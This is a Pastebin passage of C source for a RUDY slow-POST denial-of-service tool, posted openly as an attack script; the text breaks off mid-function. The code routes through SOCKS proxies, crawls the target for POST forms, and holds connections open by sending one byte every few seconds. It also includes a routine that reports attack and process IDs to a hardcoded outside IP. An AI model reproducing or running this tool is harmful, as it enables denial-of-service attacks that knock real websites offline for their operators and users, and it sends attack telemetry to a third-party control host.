API tools faq
paste
Advertisement
KhaosBringer

RUDY Attack Script Source

KhaosBringer
Apr 13th, 2015
743
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 36.40 KB | None | 0 0
raw download clone embed print report
  1. #include <pthread.h>
  2. #include <sys/resource.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <signal.h>
  8. #include <sys/socket.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/tcp.h>
  11. #include <netdb.h>
  12. #include <netinet/in.h>
  13. #include <ctype.h>
  14. char *useragents[] = {
  15.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  16.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  17.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  18.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  19.     "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  20.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  21.     "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  22.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  23.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  24.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  25.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  26.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  27.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  28.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  29.     "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  30.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  31.     "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  32.     "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  33.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  34.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  35.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  36.     "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  37.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  38.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  39.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  40.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  41.     "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  42.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  43.     "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  44.     "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  45.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  46.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  47.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  48.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  49.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  50.     "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  51.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  52.     "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  53.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  54.     "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  55.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  56.     "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  57.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  58.     "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  59.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  60.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  61.     "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  62.     "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  63. };
  64. #define ATTACKPORT 80
  65. char *postformat = "POST /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: #contentlen#\r\n\r\n%s=";
  66. char *postpayload;
  67. struct urlparts {
  68.     char * name;
  69.     char separator[4];
  70.     char value[128];
  71. } parts[] = {
  72.     { "scheme", ":" },
  73.     { "userid", "@" },
  74.     { "password", ":" },
  75.     { "host", "//" },
  76.     { "port", ":" },
  77.     { "path", "/" },
  78.     { "param", ";" },
  79.     { "query", "?" },
  80.     { "fragment", "#" }
  81. };
  82. enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  83. #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  84. struct urlparts *returnparts[8];
  85. struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  86. struct proxy { char *type; char *ip; int port; int working; };
  87. struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  88. struct list *head = NULL;
  89. char parseError[128];
  90. int parseURL(char *url, struct urlparts **returnpart);
  91. char * strsplit(char * s, char * tok);
  92. char firstpunc(char *s);
  93. int strleft(char * s, int n);
  94. void setupparts();
  95. void freeparts();
  96. char *stristr(const char *String, const char *Pattern);
  97. char *str_replace(char *orig, char *rep, char *with);
  98. char *geturl(char *url, char *useragent, char *ip);
  99. char *ipstr;
  100.  
  101. void *flood(void *par) {
  102.     struct list *startpoint = (struct list *)par;
  103.     int i;
  104.     struct sockaddr_in serverAddr;
  105.     signal(SIGPIPE, SIG_IGN);
  106.     while(1)
  107.     {
  108.         int sent = 0;
  109.         if(startpoint->data->working == 0)
  110.         {
  111.             startpoint = startpoint->next;
  112.             sleep(1);
  113.             continue;
  114.         }
  115.         memset(&serverAddr, 0, sizeof(serverAddr));
  116.         serverAddr.sin_family = AF_INET;
  117.         serverAddr.sin_port = htons(startpoint->data->port);
  118.         serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  119.         int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  120.         u_int yes=1;
  121.         if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  122.         if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  123.         {
  124.             startpoint->data->working = 0;
  125.             startpoint = startpoint->next;
  126.             continue;
  127.         }
  128.         if(strcmp(startpoint->data->type, "Socks4")==0)
  129.         {
  130.             unsigned char buf[10];
  131.             buf[0] = 0x04;
  132.             buf[1] = 0x01;
  133.             *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  134.             *(unsigned long*)&buf[4] = inet_addr(ipstr);
  135.             buf[8] = 0x00;
  136.             if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  137.             {
  138.                 startpoint->data->working = 0;
  139.                 startpoint = startpoint->next;
  140.                 close(serverSocket);
  141.                 continue;
  142.             }
  143.         }
  144.         if(strcmp(startpoint->data->type, "Socks5")==0)
  145.         {
  146.             unsigned char buf[20];
  147.             buf[0] = 0x05;
  148.             buf[1] = 0x01;
  149.             buf[2] = 0x00;
  150.             if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  151.             {
  152.                 startpoint->data->working = 0;
  153.                 startpoint = startpoint->next;
  154.                 close(serverSocket);
  155.                 continue;
  156.             }
  157.             buf[0] = 0x05;
  158.             buf[1] = 0x01;
  159.             buf[2] = 0x00;
  160.             buf[3] = 0x01;
  161.             *(unsigned long*)&buf[4] = inet_addr(ipstr);
  162.             *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  163.             if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  164.             {
  165.                 printf("BAD PROXY ONLY SENT %d:%d\n", sent, 10);
  166.                 perror("send 10");
  167.                 startpoint->data->working = 0;
  168.                 startpoint = startpoint->next;
  169.                 close(serverSocket);
  170.                 continue;
  171.             }
  172.         }
  173.         char *length = (char *)malloc(255);
  174.         sprintf(length, "%d", ((rand() % 10000) + 20000));
  175.         char *httppartpayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  176.         char *httppayload = str_replace(httppartpayload, "#contentlen#", length);
  177.         free(httppartpayload);
  178.         if(httppayload == NULL)
  179.         {
  180.             startpoint = startpoint->next;
  181.             close(serverSocket);
  182.             continue;
  183.         }
  184.         sent = send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  185.         //printf("sent main payload %d\n", sent);
  186.         free(httppayload);
  187.         //char *postshit = "Z";
  188.         //while(send(serverSocket, postshit, 1, MSG_NOSIGNAL) > 0)
  189.     //  {
  190.     //      sleep(1);
  191.             //printf(".");
  192.     //  }
  193.         int success;
  194.         do
  195.         {
  196.             char postshit = rand() % 97 + 26;
  197.             success = send(serverSocket, &postshit, 1, MSG_NOSIGNAL);
  198.             sleep(rand() % 3 + 1);
  199.             //printf(".");
  200.         } while (success > 0);
  201.         close(serverSocket);
  202.         usleep(30000);
  203.         //startpoint = startpoint->next;
  204.     }
  205. }
  206.  
  207. int fnAttackInformation(int attackID)
  208. {
  209.     char szRecvBuff[1024];
  210.     char packet[1024];
  211.     char ip[] = "37.221.170.5";
  212.  
  213.     snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
  214.  
  215.     struct sockaddr_in *remote;
  216.     int sock;
  217.     int tmpres;
  218.    
  219.  
  220.     if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  221.     {
  222.         perror("Can't create TCP socket");
  223.         exit(1);
  224.     }
  225.    
  226.     remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
  227.     remote->sin_family = AF_INET;
  228.     tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
  229.    
  230.     if (tmpres < 0)  
  231.     {
  232.         perror("Can't set remote->sin_addr.s_addr");
  233.         exit(1);
  234.     }
  235.     else if (tmpres == 0)
  236.     {
  237.         fprintf(stderr, "%s is not a valid IP address\n", ip);
  238.         exit(1);
  239.     }
  240.    
  241.     remote->sin_port = htons(80);
  242.    
  243.     if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
  244.     {
  245.         perror("Could not connect");
  246.         exit(1);
  247.     }
  248.        
  249.     tmpres = send(sock, packet, strlen(packet), 0);
  250.    
  251.     //printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);   
  252.    
  253.     if (tmpres == -1){
  254.         perror("Can't send query");
  255.         exit(1);
  256.     }
  257.  
  258.     int i = 1;
  259.     int dwTotal = 0;
  260.  
  261.  
  262.     while (1)
  263.     {
  264.         i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
  265.         //printf("Received %d bytes\n", i);
  266.         if (i <= 0)
  267.             break;
  268.            
  269.         dwTotal += i;
  270.     }
  271.  
  272.     szRecvBuff[dwTotal] = '\0';
  273.    
  274.  
  275.     //printf("Received -> \n%s\n\n", szRecvBuff);
  276.  
  277.    
  278.     close(sock);
  279.    
  280.     //printf("Sent %d bytes\n", tmpres);
  281.    
  282.     return 0;
  283. }
  284.  
  285. int main(int argc, char *argv[ ]) {
  286.     if(argc < 5){
  287.         fprintf(stderr, "Invalid parameters!\n");
  288.         fprintf(stdout, "Usage: %s <target url> <auto scrape (1 or 0)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [manual parameter]\n", argv[0]);
  289.         exit(-1);
  290.     }
  291.     //fprintf(stdout, "Setting up Sockets...\n");
  292.     int num_threads = atoi(argv[3]);
  293.     int scrapeit = atoi(argv[2]);
  294.     FILE *pFile = fopen(argv[4], "rb");
  295.     if(pFile==NULL)
  296.     {
  297.         perror("fopen"); exit(1);
  298.     }
  299.     fseek(pFile, 0, SEEK_END);
  300.     long lSize = ftell(pFile);
  301.     rewind(pFile);
  302.     char *buffer = (char *)malloc(lSize*sizeof(char));
  303.     fread(buffer, 1, lSize, pFile);
  304.     fclose (pFile);
  305.     int i=0;
  306.     char *pch = (char *)strtok(buffer, ":");
  307.     while(pch != NULL)
  308.     {
  309.         if(head == NULL)
  310.         {
  311.             head = (struct list *)malloc(sizeof(struct list));
  312.             bzero(head, sizeof(struct list));
  313.             head->data = (struct proxy *)malloc(sizeof(struct proxy));
  314.             bzero(head->data, sizeof(struct proxy));
  315.             head->data->working = 1;
  316.             head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
  317.             pch = (char *)strtok(NULL, ":");
  318.             if(pch == NULL) exit(-1);
  319.             head->data->port = atoi(pch);
  320.             pch = (char *)strtok(NULL, ":");
  321.             head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
  322.             pch = (char *)strtok(NULL, ":");
  323.             head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  324.             head->next = head;
  325.             head->prev = head;
  326.         } else {
  327.             struct list *new_node = (struct list *)malloc(sizeof(struct list));
  328.             bzero(new_node, sizeof(struct list));
  329.             new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
  330.             bzero(new_node->data, sizeof(struct proxy));
  331.             new_node->data->working = 1;
  332.             new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
  333.             pch = (char *)strtok(NULL, ":");
  334.             if(pch == NULL) break;
  335.             new_node->data->port = atoi(pch);
  336.             pch = (char *)strtok(NULL, ":");
  337.             new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
  338.             pch = (char *)strtok(NULL, ":");
  339.             new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  340.             new_node->prev = head;
  341.             new_node->next = head->next;
  342.             head->next = new_node;
  343.         }
  344.     }
  345.     free(buffer);
  346.     const rlim_t kOpenFD = 1024 + (num_threads * 2);
  347.     struct rlimit rl;
  348.     int result;
  349.     rl.rlim_cur = kOpenFD;
  350.     rl.rlim_max = kOpenFD;
  351.     result = setrlimit(RLIMIT_NOFILE, &rl);
  352.     if (result != 0)
  353.     {
  354.         perror("setrlimit");
  355.         fprintf(stderr, "setrlimit returned result = %d\n", result);
  356.     }
  357.     char *parameter;
  358.     if(argc > 7)
  359.     {
  360.         parameter = argv[7];
  361.     } else {
  362.         parameter = "username";
  363.     }
  364.     setupparts();
  365.     parseURL(argv[1], returnparts);
  366.     if(argc > 6 && !(strcmp(argv[6], "0") == 0))
  367.     {
  368.         ipstr = malloc(strlen(argv[6])+1);
  369.         strcpy(ipstr, argv[6]);
  370.         //fprintf(stdout, "Using manual IP...\n");
  371.     } else {
  372.         struct hostent *he;
  373.         struct in_addr a;
  374.         he = gethostbyname(returnparts[host]->value);
  375.         if (he)
  376.         {
  377.             while (*he->h_addr_list)
  378.             {
  379.                 bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
  380.                 ipstr = malloc(INET_ADDRSTRLEN+1);
  381.                 inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
  382.                 break;
  383.             }
  384.         }
  385.         else
  386.         { herror("gethostbyname"); }
  387.     }
  388.     char *targeturl = argv[1];
  389.     char *targetparameter = parameter;
  390.     if(scrapeit == 1)
  391.     {
  392.         char *original_domain = malloc(strlen(returnparts[host]->value)+1);
  393.         strcpy(original_domain, returnparts[host]->value);
  394.         freeparts();
  395.         struct urllist *headurl = malloc(sizeof(struct urllist));
  396.         bzero(headurl, sizeof(struct urllist));
  397.         headurl->url = argv[1];
  398.         headurl->done = 0;
  399.         headurl->next = headurl;
  400.         headurl->prev = headurl;
  401.         int donescrape = 0;
  402.         char *lasturl = "";
  403.         while(headurl->done == 0)
  404.         {
  405.             if(headurl->url == NULL)
  406.             {
  407.                 headurl->done = 1;
  408.                 headurl = headurl->next;
  409.                 continue;
  410.             }
  411.             if(strcmp(headurl->url, lasturl) == 0)
  412.             {
  413.                 headurl->done = 1;
  414.                 headurl = headurl->next;
  415.                 continue;
  416.             }
  417.             lasturl = headurl->url;
  418.             printf("Scraping: %s\n", headurl->url);
  419.             char *buffer = geturl(headurl->url, useragents[rand() % (sizeof(useragents)/sizeof(char *))], ipstr);
  420.             if(strstr(buffer, "\r\n\r\n")==NULL)
  421.             {
  422.                 free(buffer);
  423.                 headurl->done = 1;
  424.                 headurl = headurl->next;
  425.                 continue;
  426.             }
  427.             char *headerstatus = malloc(strstr(buffer, "\r\n\r\n") - buffer + 3);
  428.             memcpy(headerstatus, buffer, strstr(buffer, "\r\n\r\n") - buffer + 2);
  429.             char *body = buffer + (strstr(buffer, "\r\n\r\n") - buffer + 2) + 2;
  430.             int status = atoi(strchr(strncpy(malloc(1024),headerstatus,strstr(headerstatus, "\r\n") - headerstatus), ' ') + 1);
  431.             char *headers = strstr(headerstatus, "\r\n")+2;
  432.             int temp = ((status/10)/10) % 10;
  433.             if(temp == 4)
  434.             {
  435.                 free(headerstatus);
  436.                 free(buffer);
  437.                 headurl->done = 1;
  438.                 headurl = headurl->next;
  439.                 continue;
  440.             }
  441.             if(temp == 3)
  442.             {
  443.                 char *location = stristr(headers, "Location: ") + 10;
  444.                 if(location == NULL)
  445.                 {
  446.                     free(headerstatus);
  447.                     free(buffer);
  448.                     headurl->done = 1;
  449.                     headurl = headurl->next;
  450.                     continue;
  451.                 }
  452.                 struct urllist *newurl = malloc(sizeof(struct urllist));
  453.                 bzero(newurl, sizeof(struct urllist));
  454.                 char *nexturl = malloc(strstr(location, "\r\n") - location + 1);
  455.                 bzero(nexturl, strstr(location, "\r\n") - location + 1);
  456.                 strncpy(nexturl, location, strstr(location, "\r\n") - location);
  457.                 char *parsednexturl;
  458.                 setupparts();
  459.                 parseURL(nexturl, returnparts);
  460.                 if(!(*(returnparts[path]->value)))
  461.                 {
  462.                     free(headerstatus);
  463.                     free(buffer);
  464.                     headurl->done = 1;
  465.                     headurl = headurl->next;
  466.                     continue;
  467.                 }
  468.                 if(*(returnparts[host]->value))
  469.                 {
  470.                     char *host_tmp = str_replace(returnparts[host]->value, "www.", "");
  471.                     if(host_tmp != NULL)
  472.                     {
  473.                         if(strcmp(host_tmp, original_domain) != 0)
  474.                         {
  475.                             free(headerstatus);
  476.                             free(buffer);
  477.                             headurl->done = 1;
  478.                             headurl = headurl->next;
  479.                             continue;
  480.                         } else {
  481.                             original_domain = malloc(strlen(returnparts[host]->value)+1);
  482.                             bzero(original_domain, strlen(returnparts[host]->value)+1);
  483.                             strcpy(original_domain, returnparts[host]->value);
  484.                         }
  485.                        
  486.                     } else {
  487.                         if(strcmp(returnparts[host]->value, original_domain) != 0)
  488.                         {
  489.                             free(headerstatus);
  490.                             free(buffer);
  491.                             headurl->done = 1;
  492.                             headurl = headurl->next;
  493.                             continue;
  494.                         }
  495.                     }
  496.                    
  497.                     parsednexturl = malloc(strlen(nexturl)+1);
  498.                     bzero(parsednexturl, strlen(nexturl)+1);
  499.                     strcpy(parsednexturl, nexturl);
  500.                 } else {
  501.                     parsednexturl = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  502.                     bzero(parsednexturl, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  503.                     strcpy(parsednexturl, "http://");
  504.                     strcpy(parsednexturl + 7, original_domain);
  505.                     strcpy(parsednexturl + 7 + strlen(original_domain), "/");
  506.                     strcpy(parsednexturl + 7 + strlen(original_domain) + 1, returnparts[path]->value);
  507.                     char *tmp = malloc(strlen(original_domain)+2);
  508.                     bzero(tmp, strlen(original_domain)+2);
  509.                     sprintf(tmp, "%s/", original_domain);
  510.                     char *tmp2 = malloc(strlen(original_domain)+3);
  511.                     bzero(tmp2, strlen(original_domain)+3);
  512.                     sprintf(tmp2, "%s//", original_domain);
  513.                     char *parsednexturl_tmp = str_replace(parsednexturl, tmp2, tmp);
  514.                     if(parsednexturl_tmp != NULL)
  515.                     {
  516.                         free(parsednexturl);
  517.                         parsednexturl = parsednexturl_tmp;
  518.                     }
  519.                     free(tmp);
  520.                     free(tmp2);
  521.                 }
  522.                 freeparts();
  523.                 free(nexturl);
  524.                
  525.                 newurl->url = parsednexturl;
  526.                 newurl->done = 0;
  527.                 newurl->next = headurl->next;
  528.                 newurl->prev = headurl;
  529.                 headurl->next = newurl;
  530.                 headurl->done = 1;
  531.                 headurl = headurl->next;
  532.                 free(headerstatus);
  533.                 free(buffer);
  534.                 continue;
  535.             }
  536.             char *formstart = body;
  537.             while(stristr(formstart, "<form")!=NULL)
  538.             {
  539.                 formstart = stristr(formstart, "<form")+5;
  540.                 char *formend = stristr(formstart, "</form");
  541.                 char *input = formstart;
  542.                 char *method = stristr(formstart, "method=");
  543.                 if(method == NULL || method > stristr(formstart, ">"))
  544.                 {
  545.                     continue;
  546.                 }
  547.                 char *methodstart = method+7;
  548.                 char *methodname = NULL;
  549.                 if(strchr(methodstart, '"')!=NULL && strchr(methodstart, '>') > strchr(methodstart, '"'))
  550.                 {
  551.                     methodstart = strchr(method, '"')+1;
  552.                     methodname = malloc(strchr(methodstart, '"') - methodstart + 1);
  553.                     bzero(methodname, strchr(methodstart, '"') - methodstart + 1);
  554.                     strncpy(methodname, methodstart, strchr(methodstart, '"') - methodstart);
  555.                 } else if(strchr(methodstart, '\'')!=NULL && strchr(methodstart, '>') > strchr(methodstart, '\''))
  556.                 {
  557.                     methodstart = strchr(method, '\'')+1;
  558.                     methodname = malloc(strchr(methodstart, '\'') - methodstart + 1);
  559.                     bzero(methodname, strchr(methodstart, '\'') - methodstart + 1);
  560.                     strncpy(methodname, methodstart, strchr(methodstart, '\'') - methodstart);
  561.                 } else {
  562.                     char *end = NULL;
  563.                     if(strchr(methodstart, ' ') > strchr(methodstart, '>'))
  564.                     {
  565.                         end = strchr(methodstart, '>');
  566.                     } else {
  567.                         end = strchr(methodstart, ' ');
  568.                     }
  569.                     methodname = malloc(end - methodstart + 1);
  570.                     bzero(methodname, end - methodstart + 1);
  571.                     strncpy(methodname, methodstart, end - methodstart);
  572.                 }
  573.                 int i;
  574.                 for(i=0;*(methodname + i);i++)
  575.                 {
  576.                     *(methodname + i) = toupper(*(methodname + i));
  577.                 }
  578.                 if(strcmp(methodname, "GET") == 0)
  579.                 {
  580.                     continue;
  581.                 }
  582.                 char *action = stristr(formstart, "action=");
  583.                 char *actionname = NULL;
  584.                 if(action == NULL || action > formend)
  585.                 {
  586.                     actionname = headurl->url;
  587.                 } else {
  588.                     char *actionstart = action;
  589.                     if(strchr(actionstart, '"') != NULL && strchr(actionstart, '>') > strchr(actionstart, '"'))
  590.                     {
  591.                         actionstart = strchr(action, '"')+1;
  592.                         actionname = malloc(strchr(actionstart, '"') - actionstart + 1);
  593.                         bzero(actionname, strchr(actionstart, '"') - actionstart + 1);
  594.                         strncpy(actionname, actionstart, strchr(actionstart, '"') - actionstart);
  595.                     } else if(strchr(actionstart, '\'') != NULL && strchr(actionstart, '>') > strchr(actionstart, '\''))
  596.                     {
  597.                         actionstart = strchr(action, '\'')+1;
  598.                         actionname = malloc(strchr(actionstart, '\'') - actionstart + 1);
  599.                         bzero(actionname, strchr(actionstart, '\'') - actionstart + 1);
  600.                         strncpy(actionname, actionstart, strchr(actionstart, '\'') - actionstart);
  601.                     } else {
  602.                         char *end = NULL;
  603.                         if(strchr(actionstart, ' ') > strchr(actionstart, '>'))
  604.                         {
  605.                             end = strchr(actionstart, '>');
  606.                         } else {
  607.                             end = strchr(actionstart, ' ');
  608.                         }
  609.                         actionname = malloc(end - action + 1);
  610.                         bzero(actionname, end - action + 1);
  611.                         strncpy(actionname, action, end - action);
  612.                     }
  613.                 }
  614.                 if(strcmp(actionname, "") == 0)
  615.                 {
  616.                     free(actionname);
  617.                     actionname = headurl->url;
  618.                 }
  619.                 while((input = stristr(input, "<input")) != NULL)
  620.                 {
  621.                     input = input + 6;
  622.                     char *inputname = stristr(input, "name=");
  623.                     if(inputname != NULL)
  624.                     {
  625.                         inputname = inputname+5;
  626.                         char *namestart = inputname;
  627.                         char *name;
  628.                         if(strchr(inputname, '"')!=NULL && strchr(inputname, '>') > strchr(inputname, '"'))
  629.                         {
  630.                             namestart = strchr(inputname, '"')+1;
  631.                             name = malloc(strchr(namestart, '"') - namestart + 1);
  632.                             bzero(name, strchr(namestart, '"') - namestart + 1);
  633.                             strncpy(name, namestart, strchr(namestart, '"') - namestart);
  634.                         } else if(strchr(inputname, '\'')!=NULL && strchr(inputname, '>') > strchr(inputname, '\''))
  635.                         {
  636.                             namestart = strchr(inputname, '\'')+1;
  637.                             name = malloc(strchr(namestart, '\'') - namestart + 1);
  638.                             bzero(name, strchr(namestart, '\'') - namestart + 1);
  639.                             strncpy(name, namestart, strchr(namestart, '\'') - namestart);
  640.                         } else {
  641.                             char *end = NULL;
  642.                             if(strchr(inputname, ' ') > strchr(inputname, '>'))
  643.                             {
  644.                                 end = strchr(inputname, '>');
  645.                             } else {
  646.                                 end = strchr(inputname, ' ');
  647.                             }
  648.                             name = malloc(end - inputname + 1);
  649.                             bzero(name, end - inputname + 1);
  650.                             strncpy(name, namestart, end - inputname);
  651.                         }
  652.                         targetparameter = name;
  653.                         setupparts();
  654.                         parseURL(actionname, returnparts);
  655.                         if(!(*(returnparts[path]->value)))
  656.                         {
  657.                             goto NOTRIGHT;
  658.                         }
  659.                         if(*(returnparts[host]->value))
  660.                         {
  661.                             if(strcmp(returnparts[host]->value, original_domain) != 0)
  662.                             {
  663.                                 goto NOTRIGHT;
  664.                             }
  665.                             targeturl = actionname;
  666.                         } else {
  667.                             targeturl = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  668.                             bzero(targeturl, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  669.                             strcpy(targeturl, "http://");
  670.                             strcpy(targeturl + 7, original_domain);
  671.                             strcpy(targeturl + 7 + strlen(original_domain), "/");
